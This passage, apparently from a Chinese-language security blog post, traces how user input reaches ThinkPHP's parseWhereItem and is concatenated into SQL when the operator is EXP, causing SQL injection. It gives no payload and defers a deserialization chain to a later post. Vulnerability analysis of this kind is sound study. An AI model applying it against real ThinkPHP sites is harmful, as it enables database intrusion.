在 select 方法中,程序會對 SQL 語句模板用變量填充,其中用來填充 %WHERE% 的變量中存在用戶輸入的數據。
我們跟進這個 parseWhere 分析函數,會發現其會調用生成查詢條件 SQL 語句的 buildWhere 函數。
繼續跟進 buildWhere 函數,發現用戶可控數據又被傳入了 parseWhereItem where子單元分析函數。
跟進parseWhereItem
我們發現當操作符等於 EXP 時,將來自用戶的數據直接拼接進了 SQL 語句,最終導致了 SQL注入漏洞 。
小節
最后,再通過一張攻擊流程圖來回顧整個攻擊過程。
(網圖)
(⭐)ThinkPHP5.0.24反序列化利用鏈
由於篇幅問題,下一篇文章展開。。。